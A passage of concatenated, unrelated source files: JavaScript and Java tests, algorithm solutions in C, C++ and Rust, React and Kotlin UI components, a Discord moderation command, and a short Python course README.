});
it('Should be able to open 1 LoadableRealm with LoadableSchemas 1-3 in MetaRealm1.LoadableRealm1', async () => {
await saveSchema({ metaRealmPath: META_REALM_PATH1, loadableRealmPath: LOADABLE_REALM_PATH1, schema: LOADABLE_SCHEMA_1 });
await saveSchema({ metaRealmPath: META_REALM_PATH1, loadableRealmPath: LOADABLE_REALM_PATH1, schema: LOADABLE_SCHEMA_2 });
await saveSchema({ metaRealmPath: META_REALM_PATH1, loadableRealmPath: LOADABLE_REALM_PATH1, schema: LOADABLE_SCHEMA_3 });
const realm = await LoadableRealmManager.loadRealm({ metaRealmPath: META_REALM_PATH1, loadableRealmPath: LOADABLE_REALM_PATH1 });
expect(() => LoadableRealmManager.getAllLoadableRealmKeys()).not.toThrowError();
expect(LoadableRealmManager.getAllLoadableRealmKeys()).toEqual([ `${META_REALM_PATH1}-${LOADABLE_REALM_PATH1}` ]);
expect(() => LoadableRealmManager.getAllLoadableRealms()).not.toThrowError();
// TODO CHECK THIS; ADD SNAPSHOT
expect(LoadableRealmManager.getAllLoadableRealms()).toMatchSnapshot();
expect(() => LoadableRealmManager.getAllOpenLoadableRealmKeys()).not.toThrowError();
expect(LoadableRealmManager.getAllOpenLoadableRealmKeys()).toEqual([ `${META_REALM_PATH1}-${LOADABLE_REALM_PATH1}` ]);
expect(() => LoadableRealmManager.getAllOpenLoadableRealms()).not.toThrowError();
// TODO CHECK THIS; ADD SNAPSHOT
expect(LoadableRealmManager.getAllOpenLoadableRealms()).toMatchSnapshot();
// TODO CHECK THIS; ADD SNAPSHOT
expect(realm).toMatchSnapshot();
const TEST_ROW1 = { name: 'Test1', schema1Data:'Hello!' };
const TEST_ROW2 = { name: 'Test2', schema1Data:'World!' };
realm.write(() => {
realm.create(LOADABLE_SCHEMA_1.name, TEST_ROW1);
realm.create(LOADABLE_SCHEMA_1.name, TEST_ROW2);
});
const results = realm.objects(LOADABLE_SCHEMA_1.name);
expect(realm.objects(LOADABLE_SCHEMA_1.name).toJSON()).toEqual([ TEST_ROW1, TEST_ROW2 ]);
});
it('Should be able to open another LoadableRealm with LoadableSchemas 2-3 in MetaRealm2.LoadableRealm1', async () => {
await saveSchema({ metaRealmPath: META_REALM_PATH2, loadableRealmPath: LOADABLE_REALM_PATH1, schema: LOADABLE_SCHEMA_2 });
await saveSchema({ metaRealmPath: META_REALM_PATH2, loadableRealmPath: LOADABLE_REALM_PATH1, schema: LOADABLE_SCHEMA_3 });
const realm = await LoadableRealmManager.loadRealm({ metaRealmPath: META_REALM_PATH2, loadableRealmPath: LOADABLE_REALM_PATH1 });
expect(() => LoadableRealmManager.getAllLoadableRealmKeys()).not.toThrowError();
expect(LoadableRealmManager.getAllLoadableRealmKeys()).toEqual([ `${META_REALM_PATH1}-${LOADABLE_REALM_PATH1}`, `${META_REALM_PATH2}-${LOADABLE_REALM_PATH1}` ]);
expect(() => LoadableRealmManager.getAllLoadableRealms()).not.toThrowError();
expect(LoadableRealmManager.getAllLoadableRealms()).toMatchSnapshot();
expect(() => LoadableRealmManager.getAllOpenLoadableRealmKeys()).not.toThrowError();
expect(LoadableRealmManager.getAllOpenLoadableRealmKeys()).toEqual([ `${META_REALM_PATH1}-${LOADABLE_REALM_PATH1}`, `${META_REALM_PATH2}-${LOADABLE_REALM_PATH1}` ]);
expect(() => LoadableRealmManager.getAllOpenLoadableRealms()).not.toThrowError();
expect(LoadableRealmManager.getAllOpenLoadableRealms()).toMatchSnapshot();
expect(realm).toMatchSnapshot();
const TEST_ROW21 = { name: 'Test21', schema2Data:'Hello!' };
const TEST_ROW22 = { name: 'Test22', schema2Data:'World!' };
const TEST_ROW31 = { name: 'Test31', schema3Data:'Hello!' };
const TEST_ROW32 = { name: 'Test32', schema3Data:'World!' };
realm.write(() => {
realm.create(LOADABLE_SCHEMA_2.name, TEST_ROW21);
realm.create(LOADABLE_SCHEMA_2.name, TEST_ROW22);
realm.create(LOADABLE_SCHEMA_3.name, TEST_ROW31);
realm.create(LOADABLE_SCHEMA_3.name, TEST_ROW32);
});
expect(realm.objects(LOADABLE_SCHEMA_2.name).toJSON()).toEqual([ TEST_ROW21, TEST_ROW22 ]);
expect(realm.objects(LOADABLE_SCHEMA_3.name).toJSON()).toEqual([ TEST_ROW31, TEST_ROW32 ]);
});
it('Should be able to open another LoadableRealm with LoadableSchemas 4-5 in MetaRealm2.LoadableRealm2', async () => {
await saveSchema({ metaRealmPath: META_REALM_PATH2, loadableRealmPath: LOADABLE_REALM_PATH2, schema: LOADABLE_SCHEMA_4 });
await saveSchema({ metaRealmPath: META_REALM_PATH2, loadableRealmPath: LOADABLE_REALM_PATH2, schema: LOADABLE_SCHEMA_5 });
const realm21 = await LoadableRealmManager.reloadRealm({ metaRealmPath: META_REALM_PATH2, loadableRealmPath: LOADABLE_REALM_PATH1 });
const realm22 = await LoadableRealmManager.reloadRealm({ metaRealmPath: META_REALM_PATH2, loadableRealmPath: LOADABLE_REALM_PATH2 });
expect(() => LoadableRealmManager.getAllLoadableRealmKeys()).not.toThrowError();
expect(LoadableRealmManager.getAllLoadableRealmKeys()).toEqual([ `${META_REALM_PATH1}-${LOADABLE_REALM_PATH1}`, `${META_REALM_PATH2}-${LOADABLE_REALM_PATH1}`, `${META_REALM_PATH2}-${LOADABLE_REALM_PATH2}` ]);
expect(() => LoadableRealmManager.getAllLoadableRealms()).not.toThrowError();
expect(LoadableRealmManager.getAllLoadableRealms()).toMatchSnapshot();
expect(() => LoadableRealmManager.getAllOpenLoadableRealmKeys()).not.toThrowError();
expect(LoadableRealmManager.getAllOpenLoadableRealmKeys()).toEqual([ `${META_REALM_PATH1}-${LOADABLE_REALM_PATH1}`, `${META_REALM_PATH2}-${LOADABLE_REALM_PATH1}`, `${META_REALM_PATH2}-${LOADABLE_REALM_PATH2}` ]);
expect(() => LoadableRealmManager.getAllOpenLoadableRealms()).not.toThrowError();
expect(LoadableRealmManager.getAllOpenLoadableRealms()).toMatchSnapshot();
expect(realm21).toMatchSnapshot();
expect(realm22).toMatchSnapshot();
const TEST_ROW21 = { name: 'Test21', schema2Data:'Hello!' };
const TEST_ROW22 = { name: 'Test22', schema2Data:'World!' };
const TEST_ROW31 = { name: 'Test31', schema3Data:'Hello!' };
const TEST_ROW32 = { name: 'Test32', schema3Data:'World!' };
const TEST_ROW41 = { name: 'Test41', schema4Data:'Hello!' };
const TEST_ROW42 = { name: 'Test42', schema4Data:'World!' };
const TEST_ROW51 = { name: 'Test51', schema5Data:'Hello!' };
const TEST_ROW52 = { name: 'Test52', schema5Data:'World!' };
realm21.write(() => {
expect(() => realm21.create(LOADABLE_SCHEMA_2.name, TEST_ROW21)).toThrowError();
expect(() => realm21.create(LOADABLE_SCHEMA_2.name, TEST_ROW22)).toThrowError();
expect(() => realm21.create(LOADABLE_SCHEMA_3.name, TEST_ROW31)).toThrowError();
expect(() => realm21.create(LOADABLE_SCHEMA_3.name, TEST_ROW32)).toThrowError();
});
realm22.write(() => {
realm22.create(LOADABLE_SCHEMA_4.name, TEST_ROW41);
realm22.create(LOADABLE_SCHEMA_4.name, TEST_ROW42);
realm22.create(LOADABLE_SCHEMA_5.name, TEST_ROW51);
realm22.create(LOADABLE_SCHEMA_5.name, TEST_ROW52);
});
expect(realm21.objects(LOADABLE_SCHEMA_2.name).toJSON()).toEqual([ TEST_ROW21, TEST_ROW22 ]);
expect(realm21.objects(LOADABLE_SCHEMA_3.name).toJSON()).toEqual([ TEST_ROW31, TEST_ROW32 ]);
expect(realm22.objects(LOADABLE_SCHEMA_4.name).toJSON()).toEqual([ TEST_ROW41, TEST_ROW42 ]);
expect(realm22.objects(LOADABLE_SCHEMA_5.name).toJSON()).toEqual([ TEST_ROW51, TEST_ROW52 ]);
});
afterAll(async () => {
await LoadableRealmManager.closeAll();
await MetaRealmManager.closeAll();
});
});
|
#include "Question.h"
// Function to merge two sorted arrays and count inversions
long long mergeAndCount(int arr[], int left, int mid, int right) {
long long count=0;
// Complete the implementation here:
// START
int i, j, k;
int n1 = mid - left + 1;
int n2 = right - mid;
int L[n1], R[n2];
for (i = 0; i < n1; i++)
L[i] = arr[left + i];
for (j = 0; j < n2; j++)
R[j] = arr[mid + 1 + j];
i = 0;
j = 0;
k = left;
while (i < n1 && j < n2) {
if (L[i] <= R[j]) {
arr[k] = L[i];
i++;
} else {
arr[k] = R[j];
count += n1 - i;
j++;
}
k++;
}
while (i < n1) {
arr[k] = L[i];
i++;
k++;
}
while (j < n2) {
arr[k] = R[j];
j++;
k++;
}
// END
return count;
}
// Recursive function to perform merge sort and count inversions
long long mergeSortAndCount(int arr[], int left, int right) {
long long count = 0;
// Complete the implementation here:
// START
if (left < right) {
int mid = (left + right) / 2;
count+=mergeSortAndCount(arr, left, mid);
count+=mergeSortAndCount(arr, mid + 1, right);
count+=mergeAndCount(arr, left, mid, right);
}
// END
return count;
}
// Function to initialize the merge sort process
long long countInversions(int arr[], int n) {
long long result = mergeSortAndCount(arr, 0, n - 1);
return result;
}
|
/*
Author: cuckoo
Date: 2017/02/27 22:01:26
Update: 2017/03/28 15:38:04 | 2017/07/22 14:13:20
Problem: Longest Substring Without Repeating Characters
Difficulty: Medium
Source: https://leetcode.com/problems/longest-substring-without-repeating-characters/
Note:
Given a string, find the length of the longest substring without repeating characters.
Input: "abcabcbb"
Output: 3
Solution: 1. add to substring one by one. O((1+2+...+n)*256)
[a][ab][abc]
[b][bc][bca]
[c][ca][cab]
[a][ab][abc]
[b][bc]
[c][cb]
[b]
[b]
2. divide into different block, and then check if there is repeated char. O(n*n*n)
***HORRIBLE!! ALOMOSTLY WRONG!!***
[abcabcbb]
[abcabcb][bcabcbb]
[abcabc][bcabcb][cabcbb]
[abcab][bcabc][cabcb][abcbb]
[abca][bcab][cabc][abcb][bcbb]
[abc][bca][cab][abc][bcb][cbb]
[ab][bc][ca][ab][bc][cb][bb]
[a][b][c][a][b][c][b][b]
https://leetcode.com/articles/longest-substring-without-repeating-characters/
3. Sliding Window - set
4. Sliding Window Optimized - map
5. Sliding Window Optimized - vector
*/
#include <iostream>
using std::cout;
using std::endl;
using std::cin;
using std::cerr;
#include <vector>
using std::vector;
#include <string>
using std::string;
#include <algorithm>
using std::max;
#include <map>
using std::map;
#include <set>
using std::set;
#include <unordered_set>
using std::unordered_set;
class Solution {
public:
int lengthOfLongestSubstring(string s) {
return lengthOfLongestSubstringSixth(s);
}
//
int lengthOfLongestSubstring_1(string s)
{
vector<char> current_substring;
int longest = 0;
//
for(auto iter = s.begin(); iter != s.end(); ++iter)
{
current_substring.clear();
current_substring.push_back(*iter);
//
auto iter2 = iter + 1;
for(; iter2 != s.end(); ++iter2)
{
bool breakflag = false;
auto iter3 = current_substring.begin();
for(; iter3 != current_substring.end(); ++iter3)
{
if(*iter2 == *iter3)
{
if(longest < current_substring.size())
{
longest = current_substring.size();
}
breakflag = true;
break;
}
}
//
if(breakflag)
{
break;
}
if(iter3 == current_substring.end())
{
current_substring.push_back(*iter2);
}
}
if(iter2 == s.end())
{
if(longest < current_substring.size())
{
longest = current_substring.size();
}
}
}
return longest;
}
// Fail: Time Limit Exceeded
int lengthOfLongestSubstring_2(string s)
{
int longest = 0;
int length = s.size();
for(int n = length; n > 0; --n)
{
cout << "n = " << n << endl;
int move = length - n; // move block
for(int start = 0; start <= move; ++start)
{
//if there is repeated char or not
string sub_string = s.substr(start, n);
int frequency[256] = {0};
//
auto iter = sub_string.begin(); // the size of substring is n
for(; iter != sub_string.end(); ++iter)
{
if(frequency[*iter] >= 1)
{
cout << "repeated char: " << *iter << endl;
break;
}
frequency[*iter]++;
}
if(iter == sub_string.end())
{
if(longest < sub_string.size())
{
longest = sub_string.size();
cout << sub_string << endl;
}
}
}
}
//
return longest;
}
int lengthOfLongestSubstring_3(string s)
{
int n = s.size();
int i = 0, j = 0, max_length = 0;
set<char> sub_string;
while(i < n && j < n)
{
if(sub_string.find(s.at(j)) == sub_string.end()) //find: O(log(n))
{
sub_string.insert(s.at(j++));
max_length = max(max_length, static_cast<int>(sub_string.size()));
}
else
{
sub_string.erase(sub_string.find(s.at(i++)));
}
}
return max_length;
}
int lengthOfLongestSubstring_4(string s)
{
map<char, size_t> sub_string;
size_t max_length = 0, start = 0;
for(size_t end = 0; end < s.size(); ++end)
{
auto found = sub_string.find(s.at(end));
if(found != sub_string.end() && found->second >= start) // repeated
{
max_length = max(max_length, end - start);
start = found->second + 1;
}
sub_string[s.at(end)] = end;
}
return max(max_length, s.size() - start);
}
int lengthOfLongestSubstring_5(string s)
{
vector<int> sub_string(256, -1);
size_t max_length = 0, start = 0;
for(size_t end = 0; end < s.size(); ++end)
{
int found = sub_string[s.at(end)];
if(found != -1 && found >= start)
{
max_length = max(max_length, end - start);
start = found + 1;
}
sub_string[s.at(end)] = end;
}
return max(max_length, s.size() - start);
}
int lengthOfLongestSubstring_6(string &s)
{
vector<int> hash(128, 0);
size_t begin = 0, end = 0, max_length = 0;
size_t size = s.size(), count = 0;
while(end < size)
{
if(hash[s[end]] > 0)
++count;
++hash[s[end]];
++end;
while(count > 0)
{
if(hash[s[begin]] > 1)
--count;
--hash[s[begin]];
++begin;
}
max_length = max(max_length, end - begin);
}
return max_length;
}
// update at 2017/07/22 14:13:29
int lengthOfLongestSubstringSixth(string &s)
{
int result = 0;
unordered_set<char> window;
int begin = 0, end = 0;
while(end < s.size())
{
if(window.count(s[end]))
{
// shrink the window
while(s[begin] != s[end])
{
window.erase(s[begin]);
++begin;
}
++begin;
}
else
{
window.insert(s[end]);
// update the length of the current longest substring without repeating character
result = std::max(result, static_cast<int>(window.size()));
}
++end;
}
return result;
}
};
|
package olmo.wellness.android.ui.screen.playback_video.common
import androidx.compose.foundation.background
import androidx.compose.foundation.layout.Box
import androidx.compose.foundation.layout.padding
import androidx.compose.foundation.layout.wrapContentHeight
import androidx.compose.foundation.layout.wrapContentWidth
import androidx.compose.foundation.shape.RoundedCornerShape
import androidx.compose.material.Text
import androidx.compose.runtime.Composable
import androidx.compose.ui.Modifier
import androidx.compose.ui.graphics.Color
import androidx.compose.ui.text.TextStyle
import androidx.compose.ui.unit.Dp
import androidx.compose.ui.unit.dp
import olmo.wellness.android.ui.theme.Color_Green_Main
import olmo.wellness.android.ui.theme.White
@Composable
fun SolidButton(
text: String,
modifier: Modifier = Modifier,
backgroundColor: Color = Color_Green_Main,
horizontalPadding: Dp = 0.dp,
verticalPadding: Dp = 0.dp,
cornerRadius: Dp = 8.dp
) {
Box(modifier = modifier
.wrapContentHeight()
.wrapContentWidth()
.background(
backgroundColor,
shape = RoundedCornerShape(cornerRadius)
)){
Text(
text = text,
Modifier.padding(
horizontal = horizontalPadding,
vertical = verticalPadding
),
style = TextStyle(
color = White
)
)
}
}
|
import React, { Component } from "react";
import { connect } from "react-redux";
import { login } from "../../actions/securityActions";
class Login extends Component {
constructor() {
super()
this.state = {
username: "",
password: "",
errors: ""
}
}
onChange = e => {
this.setState({ [e.target.name]: e.target.value });
}
onSubmit = e => {
e.preventDefault()
const LoginRequest = {
username: this.state.username,
password: this.state.password
}
this.props.login(LoginRequest)
}
componentWillReceiveProps(nextProps) {
if (nextProps.security.validToken) {
this.props.history.push("/dashboard")
}
if (nextProps.errors) {
this.setState({ errors: nextProps.errors })
}
}
render() {
const { errors } = this.state
return (
<div className="login">
<div className="container">
<div className="row">
<div className="col-md-8 m-auto">
<h1 className="display-4 text-center">Log In</h1>
<form onSubmit={this.onSubmit}>
<div className="form-group">
<input
type="email"
className={errors.username ? "form-control form-control-lg is-invalid" : "form-control form-control-lg"}
placeholder="Email Address"
name="username"
value={this.state.username}
onChange={this.onChange}
/>
{errors.username && (<div className="invalid-feedback">{errors.username}</div>)}
</div>
<div className="form-group">
<input
type="password"
className={errors.password ? "form-control form-control-lg is-invalid" : "form-control form-control-lg"}
placeholder="Password"
name="password"
value={this.state.password}
onChange={this.onChange}
/>
{errors.password && (<div className="invalid-feedback">{errors.password}</div>)}
</div>
<input type="submit" className="btn btn-info btn-block mt-4" />
</form>
</div>
</div>
</div>
</div>
);
}
}
const mapStateToProps = state => ({
security: state.security,
errors: state.errors
})
export default connect(mapStateToProps, { login })(Login);
|
/**
* O Comando "ban" banirá determinado usuário do servidor.
*/
const Discord = require('discord.js')
module.exports = {
run: async function(client, message, args) {
if (!message.member.hasPermission(['MANAGE_MESSAGES', 'ADMINISTRATOR'])) { return message.channel.send('> **Você não tem permissão para usar esse comando!**')}
const member = message.mentions.members.first() || message.guild.members.cache.get(args[0]) || message.member
const user = message.mentions.users.first() || message.guild.members.cache.get(args[0])
const reason = args.slice(1).join(' ')
const embed = new Discord.MessageEmbed()
.setColor(process.env.COLOR)
.setAuthor('Confirme o banimento 🚀', message.author.displayAvatarURL())
.setThumbnail(`${member.user.displayAvatarURL({ dynamic: true })}?size=1024`)
.setDescription(`**Usuário que será banido: ${member.user}** \n **Motivo: **${reason}.\n\nClique na reação ✅ para confirmar. \n Se não, clique em ❌ para cancelar.`)
.setFooter('2021 © Liga dos Programadores', 'https://i.imgur.com/Mu4KEVh.png?width=200,height=200')
.setTimestamp()
if (!user) {
return message.channel.send(new Discord.MessageEmbed()
.setColor(process.env.COLOR)
.setDescription(`${message.author}, o uso correto do comando é: \`\`!ban @usuario [motivo]\`\`.`))
}
if (member.hasPermission('ADMINISTRATOR')) {
return message.channel.send(`${message.author}, você não tem poder contra esse usuário!`)
}
if (!reason) {
return message.channel.send(new Discord.MessageEmbed()
.setColor(process.env.COLOR)
.setDescription(`${message.author}, coloque o motivo. 📃`))
}
const filter = (reaction, userFilter) => {
return ['✅', '❌'].includes(reaction.emoji.name) && userFilter.id === message.author.id
}
const msg = await message.channel.send(embed)
await msg.react('✅')
await msg.react('❌')
msg.awaitReactions(filter, { max: 1, time: 60000, errors: ['time'] })
.then(collected => {
const reaction = collected.first()
if (reaction.emoji.name === '✅') {
message.guild.members.ban(user)
.then(() => message.reply('usuário banido! 🚀'))
.catch(() => message.channel.send('Não foi possível banir o usuário. '))
} else {
msg.delete()
}
})
.catch(() => {
message.reply('Banimento cancelado.')
})
},
conf: {},
get help() {
return {
name: 'ban',
category: 'Moderação',
description: 'Banirá determinado usuário do servidor.',
usage: '!ban @usuário [motivo]',
admin: true,
}
},
}
|
import { useQuery } from "@tanstack/react-query";
import SectionHelmet from "../../Components/SectionHelmet";
import useAxiosSecure from "../../Hooks/useAxiosSecure";
import SectionTitle from "../../Components/SectionTitle";
import Cover from "../../Components/Cover";
import img from "../../assets/images/slider2.jpg";
import { useNavigate } from "react-router-dom";
import Schedule from "../../Components/Schedule";
const Classes = () => {
const axiosSecure = useAxiosSecure();
const navigate = useNavigate()
const { data: classes = [] } = useQuery({
queryKey: "classes",
queryFn: async () => {
const res = await axiosSecure.get("/classes");
return res.data;
},
});
// console.log(classes);
return (
<div>
<SectionHelmet title={"Strong | Classes"} />
<Cover img={img} title={"Our Classes"} />
<Schedule/>
<SectionTitle
title={"Our Classes"}
description={"Chose Your Best class."}
/>
<div className="grid md:grid-cols-2 lg:grid-cols-3 gap-5 px-5">
{
classes.map(classe => <div className="w-full relative" key={classe?._id}>
<img src={classe?.image} className="h-300px w-full" alt="" />
<div className="bg-[rgba(0,0,0,0.6)] absolute bottom-0 w-full flex items-center justify-between px-5 py-3">
<h2 className="text-xl text-white">{classe?.class_name}</h2>
<button onClick={()=> navigate(`/classes-details/${classe?._id}`)} className="bg-[#fe1313] px-6 py-2 rounded-md font-medium text-white p-2 text-xl hover:bg-[#c20505]">Details</button>
</div>
</div>)
}
</div>
</div>
);
};
export default Classes;
|
# ALX Higher Level Programming : Python
## Overview
This program is designed for beginners aiming to learn Python programming. It covers essential concepts including if/else statements, loops, and functions.
## Contents
- **Lesson 1: Introduction to Python**
- Overview of Python, its syntax, and basic operations.
- **Lesson 2: If/Else Statements**
- Understanding conditional statements for decision-making in Python.
- **Lesson 3: Loops**
- Exploring iteration using `for` and `while` loops.
- **Lesson 4: Functions**
- Learning about defining and using functions in Python.
## Usage
1. Clone the program repository.
2. Navigate to the lesson directory.
3. Follow the instructions in each lesson's README to understand and practice.
|
use std::collections::{HashMap, HashSet};
use regex::Regex;
advent_of_code::solution!(7);
pub fn part_one(input: &str) -> Option<String> {
let re: Regex = Regex::new(r"Step (\w+) must be finished before step (\w+) can begin.").unwrap();
let (preceding_steps, anteceding_steps) = input
.lines()
.fold(
(HashMap::new(), HashMap::new()),
|(mut preceding_steps, mut anteceding_steps), line| {
let (_, [first_step_name, second_step_name]) = re.captures(line).unwrap().extract();
if !preceding_steps.contains_key(first_step_name) {
preceding_steps.insert(first_step_name, Vec::new());
}
let second_step_precedings = preceding_steps
.entry(second_step_name)
.or_insert(Vec::new());
second_step_precedings.push(first_step_name.to_string());
if !anteceding_steps.contains_key(second_step_name) {
anteceding_steps.insert(second_step_name, Vec::new());
}
let first_step_antecedings = anteceding_steps
.entry(first_step_name)
.or_insert(Vec::new());
first_step_antecedings.push(second_step_name.to_string());
(preceding_steps, anteceding_steps)
}
);
let mut letters: Vec<String> = Vec::new();
let mut next_steps: Vec<String> = Vec::new();
let mut processed_steps = HashSet::new();
for (step, this_preceding_steps) in preceding_steps.iter() {
if this_preceding_steps.len() == 0 {
next_steps.push(step.to_string())
}
}
while next_steps.len() > 0 {
next_steps.sort_by(|a, b| b.cmp(a));
let next_step = next_steps.pop().unwrap();
if !processed_steps.contains(&next_step) {
letters.push(next_step.clone());
processed_steps.insert(next_step.clone());
for potential_next_step in anteceding_steps.get(&next_step as &str).unwrap() {
if !processed_steps.contains(potential_next_step) {
let mut all_preceding_processed = true;
for potential_step_preceding_step in preceding_steps.get(potential_next_step as &str).unwrap() {
if !processed_steps.contains(potential_step_preceding_step) {
all_preceding_processed = false;
break
}
}
if all_preceding_processed {
next_steps.push(potential_next_step.clone());
}
}
}
}
}
Some(letters.join(""))
}
pub fn part_two(input: &str) -> Option<u32> {
part_two_with_variables(input, 5, 60)
}
pub fn part_two_test(input: &str) -> Option<u32> {
part_two_with_variables(input, 2, 0)
}
fn part_two_with_variables(input: &str, number_of_workers: u32, value_to_add_to_step_time: u32) -> Option<u32> {
let re: Regex = Regex::new(r"Step (\w+) must be finished before step (\w+) can begin.").unwrap();
let (preceding_steps, anteceding_steps) = input
.lines()
.fold(
(HashMap::new(), HashMap::new()),
|(mut preceding_steps, mut anteceding_steps), line| {
let (_, [first_step_name, second_step_name]) = re.captures(line).unwrap().extract();
if !preceding_steps.contains_key(first_step_name) {
preceding_steps.insert(first_step_name, Vec::new());
}
let second_step_precedings = preceding_steps
.entry(second_step_name)
.or_insert(Vec::new());
second_step_precedings.push(first_step_name.to_string());
if !anteceding_steps.contains_key(second_step_name) {
anteceding_steps.insert(second_step_name, Vec::new());
}
let first_step_antecedings = anteceding_steps
.entry(first_step_name)
.or_insert(Vec::new());
first_step_antecedings.push(second_step_name.to_string());
(preceding_steps, anteceding_steps)
}
);
let mut letters: Vec<String> = Vec::new();
let mut next_steps: Vec<String> = Vec::new();
let mut processing_steps = HashSet::new();
let mut processed_steps = HashSet::new();
let mut worker_queue = Vec::new();
let mut current_time = 0;
for (step, this_preceding_steps) in preceding_steps.iter() {
if this_preceding_steps.len() == 0 {
next_steps.push(step.to_string())
}
}
while letters.len() < preceding_steps.len() {
next_steps.sort_by(|a, b| b.cmp(a));
while (worker_queue.len() as u32) < number_of_workers && next_steps.len() > 0 {
let step_to_queue = next_steps.pop().unwrap();
if !processing_steps.contains(&step_to_queue) {
processing_steps.insert(step_to_queue.clone());
worker_queue.push((step_to_queue.clone(), current_time + (step_to_queue.chars().next().unwrap() as u32 - 64) + value_to_add_to_step_time))
}
}
worker_queue.sort_by(|a, b| b.1.cmp(&a.1));
current_time = worker_queue.last().unwrap().1;
let mut steps_to_add_preceding = Vec::new();
while worker_queue.len() > 0 && worker_queue.last().unwrap().1 == current_time {
let (next_step, _) = worker_queue.pop().unwrap();
letters.push(next_step.clone());
processed_steps.insert(next_step.clone());
steps_to_add_preceding.push(next_step);
}
for next_step in steps_to_add_preceding {
for potential_next_step in anteceding_steps.get(&next_step as &str).unwrap() {
if !processing_steps.contains(potential_next_step) {
let mut all_preceding_processed = true;
for potential_step_preceding_step in preceding_steps.get(potential_next_step as &str).unwrap() {
if !processed_steps.contains(potential_step_preceding_step) {
all_preceding_processed = false;
break
}
}
if all_preceding_processed {
next_steps.push(potential_next_step.clone());
}
}
}
}
}
Some(current_time)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_part_one() {
let result = part_one(&advent_of_code::template::read_file("examples", DAY));
assert_eq!(result, Some("CABDFE".to_string()));
}
#[test]
fn test_part_two() {
let result = part_two_test(&advent_of_code::template::read_file("examples", DAY));
assert_eq!(result, Some(15));
}
}
|
import { Container } from "react-bootstrap";
import { BrowserRouter as Router, Routes, Route } from "react-router-dom";
import Header from "./components/Header";
import Footer from "./components/Footer";
import HomeScreen from "./screens/HomeScreen";
import RegisterScreen from "./screens/RegisterScreen";
import LoginScreen from "./screens/LoginScreen";
import AllChatScreen from "./screens/AllChatScreen";
function App() {
return (
<Router>
<Header />
<main className="py-3">
<Container>
<Routes>
<Route path="/" element={<HomeScreen />} exact />
<Route path="/register" element={<RegisterScreen />} />
<Route path="/login" element={<LoginScreen />} />
<Route path="/chat" element={<AllChatScreen />} />
<Route path="/chat/:id" element={<AllChatScreen />} />
</Routes>
</Container>
</main>
<Footer />
</Router>
);
}
export default App;
|
import { Header } from "../../components/Header";
import { Share } from "../../components/Share";
import bannerNPS from "../../assets/img/NPS.webp"
import { Container, Text, Title, SubTitle, TextPromotor, TextDetrator, VerMais } from "./styles"
const Nps = () => {
return (<>
<Header />
<Container>
<Share/>
<Title>NPS (Net Promoter Score)</Title>
<Text>O Net Promoter Score é uma metodologia de satisfação de clientes desenvolvida para avaliar o grau de fidelidade dos clientes de qualquer perfil de empresa.</Text>
<img src={bannerNPS} alt="" width="480px"/>
<SubTitle>Como funciona o NPS na prática?</SubTitle>
<Text>Os desenvolvedores do Net Promoter Score, relacionaram respostas de uma série de perguntas, com dados de recompra, indicações, e outros indicadores positivos que contribuem para o crescimento das empresas, para medir a relação que teriam entre si.<br/><br/>Deste estudo, eles perceberam que uma alta pontuação a uma única pergunta estava diretamente correlacionada com estes indicadores em 11 dos 14 casos. <br/><br/>Em 3 outros casos uma outra pergunta se saiu melhor, mas a diferença era tão pouca, que ambas serviriam como indicador. <br/><br/><span>“Em uma escala de 0 a 10, o quanto você recomendaria a empresa X a um amigo ou colega?”</span> <br/><br/>Esta pergunta permite mensurar rapidamente o sentimento do cliente em relação a empresa, pois não há indicativo maior de satisfação para a empresa do que ser indicada. <br/><br/>Uma vez que o cliente indica uma alta possibilidade de referendá-lo, certamente ele confia na estrutura oferecida pela sua empresa e a maneira como ela entrega o produto ou serviço.</Text>
<SubTitle>Como funciona a classificação dos clientes?</SubTitle>
<Text>Segundo a reposta dada, os clientes são classificados em 3 grupos distintos:</Text>
<SubTitle>1. Promotores (nota 9 ou 10)</SubTitle>
<Text>Pessoas que dão esta nota realmente enxergaram o valor no seu produto ou serviço e realmente se sentem melhores por utilizá-los.</Text>
<Text>Para o cálculo do NPS, desconsidera-se as avaliações passivas. Pega-se então a porcentagem de clientes promotores e subtrai-se deles a porcentagem de clientes detratores.<br/><br/>O resultado é um número que varia de -100 a 100.<br/><br/><TextPromotor>% CLIENTES PROMOTORES</TextPromotor> – <TextDetrator>% CLIENTES DETRATORES</TextDetrator> = NPS</Text>
<br/>
<VerMais>Ver mais...</VerMais>
</Container>
</>)
}
export { Nps }
|
package com.example.carbook.service.impl;
import com.example.carbook.model.dto.BlogSummaryDTO;
import com.example.carbook.model.entity.BlogEntity;
import com.example.carbook.repo.BlogRepository;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.Mockito;
import org.mockito.junit.jupiter.MockitoExtension;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.PageImpl;
import org.springframework.data.domain.Pageable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Optional;
import static org.junit.jupiter.api.Assertions.*;
import static org.mockito.Mockito.when;
@ExtendWith(MockitoExtension.class)
public class BlogServiceImplTest {
@Mock
private BlogRepository blogRepository;
@InjectMocks
private BlogServiceImpl blogService;
@Test
void testGetAllBlogs() {
// Create sample data
List<BlogEntity> blogEntities = new ArrayList<>();
// Add sample blog entities to the list
// Create a Page object from the list
Page<BlogEntity> blogPage = new PageImpl<>(blogEntities);
// Mock the behavior of blogRepository.findAll
when(blogRepository.findAll(Mockito.any(Pageable.class))).thenReturn(blogPage);
// Invoke the method under test
Page<BlogSummaryDTO> result = blogService.getAllBlogs(Pageable.unpaged());
// Assertions
// and the structure of your entities and DTOs
assertEquals(blogPage.getTotalElements(), result.getTotalElements());
}
@Test
void testGetBlogDetailWhenBlogExists() {
// Create a sample blog entity
BlogEntity blogEntity = new BlogEntity();
// Set properties on the blog entity
// Mock the behavior of blogRepository.findById
when(blogRepository.findById(1L)).thenReturn(Optional.of(blogEntity));
// Invoke the method under test
Optional<BlogSummaryDTO> result = blogService.getBlogDetail(1L);
// Assertions
assertTrue(result.isPresent());
}
@Test
void testGetBlogDetailWhenBlogDoesNotExist() {
// Mock the behavior of blogRepository.findById for a non-existent blog
when(blogRepository.findById(1L)).thenReturn(Optional.empty());
// Invoke the method under test
Optional<BlogSummaryDTO> result = blogService.getBlogDetail(1L);
// Assertions
assertFalse(result.isPresent());
}
@Test
void testGetAllBlogsExcludingOne() {
// Create sample data
List<BlogEntity> blogEntities = new ArrayList<>();
// Add sample blog entities to the list
